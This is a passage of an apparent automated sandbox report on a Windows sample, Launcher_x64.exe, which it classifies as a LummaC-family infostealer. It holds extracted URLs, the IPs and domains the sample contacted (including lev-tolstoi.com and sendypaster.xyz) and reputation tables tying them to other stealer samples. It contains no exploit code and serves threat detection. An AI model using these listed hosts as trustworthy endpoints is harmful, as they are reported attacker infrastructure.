https://lev-tolstoi.com/e	Launcher_x64.exe, 00000003.00000003.2556263712.000000000103B000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2555293768.0000000001036000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steam.tv/	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/	Launcher_x64.exe, 00000003.00000003.2456252406.0000000001036000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000002.2610718575.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.0000000001036000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2556263712.000000000103B000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2555293768.0000000001036000.00000004.00000020.00020000.00000000.sdmp	false	high
http://store.steampowered.com/privacy_agreement/	Launcher_x64.exe, 00000003.00000003.2456444244.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2456214724.0000000001088000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/points/shop/	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Launcher_x64.exe, 00000003.00000003.2457482484.000000000363C000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2457582897.000000000363A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Launcher_x64.exe, 00000003.00000003.2501359203.0000000003621000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	Launcher_x64.exe, 00000003.00000003.2501359203.0000000003621000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Launcher_x64.exe, 00000003.00000003.2458400920.0000000003648000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2480922810.0000000003648000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2458317534.000000000364F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://sketchfab.com	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	Launcher_x64.exe, 00000003.00000003.2457482484.000000000363C000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2457582897.000000000363A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lv.queniujq.cn	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/profiles/76561199724331900/inventory/	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Launcher_x64.exe, 00000003.00000003.2502902887.000000000371B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.youtube.com/	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/privacy_agreement/	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.microsof	Launcher_x64.exe, 00000003.00000003.2458317534.0000000003651000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/recaptcha/	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://checkout.steampowered.com/	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Launcher_x64.exe, 00000003.00000003.2458400920.0000000003623000.00000004.00000800.00020000.00000000.sdmp	false	high
https://store.steampowered.com/;	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/about/	Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/my/wishlist/	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/profiles/76561199724331900.	Launcher_x64.exe, 00000003.00000002.2610718575.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://help.steampowered.com/en/	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/market/	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/news/	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/apip	Launcher_x64.exe, 00000003.00000003.2456252406.0000000001036000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Launcher_x64.exe, 00000003.00000003.2457482484.000000000363C000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2457582897.000000000363A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://store.steampowered.com/subscriber_agreement/	Launcher_x64.exe, 00000003.00000003.2456444244.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2456214724.0000000001088000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	Launcher_x64.exe, 00000003.00000003.2456444244.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000002.2611002767.0000000001073000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2602917926.0000000001070000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2456214724.0000000001088000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2556263712.000000000103B000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2530628830.000000000103B000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2555293768.0000000001036000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2530449435.0000000001036000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Launcher_x64.exe, 00000003.00000003.2458400920.0000000003648000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2480922810.0000000003648000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2458317534.000000000364F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://recaptcha.net/recaptcha/;	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/discussions/	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/stats/	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://medal.tv	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://broadcast.st.dl.eccdnx.com	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/steam_refunds/	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	Launcher_x64.exe, 00000003.00000003.2501359203.0000000003621000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	Launcher_x64.exe, 00000003.00000003.2501359203.0000000003621000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Launcher_x64.exe, 00000003.00000003.2458400920.0000000003623000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Launcher_x64.exe, 00000003.00000003.2457482484.000000000363C000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2457582897.000000000363A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433824621.000000000101F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/workshop/	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://login.steampowered.com/	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	Launcher_x64.exe, 00000003.00000003.2502902887.000000000371B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/legal/	Launcher_x64.exe, 00000003.00000003.2456444244.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2456214724.0000000001088000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/1&0	Launcher_x64.exe, 00000003.00000003.2456252406.0000000001036000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	Launcher_x64.exe, 00000003.00000003.2503346324.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.157.254	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
193.143.1.9	sendypaster.xyz	unknown	57271	BITWEB-ASRU	true
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579566
Start date and time:	2024-12-23 01:16:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Launcher_x64.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/1@11/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 95% Number of executed functions: 44 Number of non-executed functions: 128
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Launcher_x64.exe, PID 4420 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:17:04	API Interceptor	18x Sleep call for process: Launcher_x64.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.157.254	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse
	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse
	ardware-v1.exe	Get hash	malicious	LummaC	Browse
	https://t.co/nq9BYOxCg9	Get hash	malicious	HTMLPhisher	Browse
193.143.1.9	WonderHack.exe	Get hash	malicious	LummaC	Browse
193.143.1.9	Wave-Executor.exe	Get hash	malicious	LummaC	Browse
23.55.153.106	WonderHack.exe	Get hash	malicious	LummaC	Browse
	Launcher.exe	Get hash	malicious	LummaC	Browse
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	WonderHack.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
	CompleteStudio.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	172.67.157.254
sendypaster.xyz	WonderHack.exe	Get hash	malicious	LummaC	Browse	193.143.1.9
sendypaster.xyz	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	193.143.1.9
steppriflej.xyz	WonderHack.exe	Get hash	malicious	LummaC	Browse	193.143.1.9
steppriflej.xyz	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	193.143.1.9
steamcommunity.com	WonderHack.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Launcher.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	23.55.153.106
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	qth5kdee.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	LgendPremium.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	f86nrrc6.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	WonderHack.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Launcher.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	2.elf	Get hash	malicious	Unknown	Browse	172.237.152.235
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.211.121.53
	nshkarm7.elf	Get hash	malicious	Mirai	Browse	172.233.106.253
	nsharm7.elf	Get hash	malicious	Mirai	Browse	172.227.252.37
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.215.103.199
	nsharm.elf	Get hash	malicious	Mirai	Browse	23.1.235.104
	nshkmips.elf	Get hash	malicious	Mirai	Browse	23.44.132.66
BITWEB-ASRU	WonderHack.exe	Get hash	malicious	LummaC	Browse	193.143.1.9
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	193.143.1.9
	https://mdgouv.com	Get hash	malicious	HTMLPhisher	Browse	193.143.1.14
	11029977736728949.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	11029977736728949.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	22054200882739718047.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	22054200882739718047.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	https://courtscali.com/	Get hash	malicious	Unknown	Browse	193.143.1.14
	18452302672446430694.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	18452302672446430694.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
CLOUDFLARENETUS	tg.exe	Get hash	malicious	Babadeda	Browse	104.26.12.205
	setup.exe	Get hash	malicious	Babadeda	Browse	104.26.13.205
	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse	104.21.80.1
	WonderHack.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	installer.msi	Get hash	malicious	Unknown	Browse	172.67.164.25
	external.exe	Get hash	malicious	LummaC	Browse	104.21.19.35
	Loader.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.151.193
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.191.144

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse	172.67.157.254 23.55.153.106
	WonderHack.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	external.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	Launcher.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
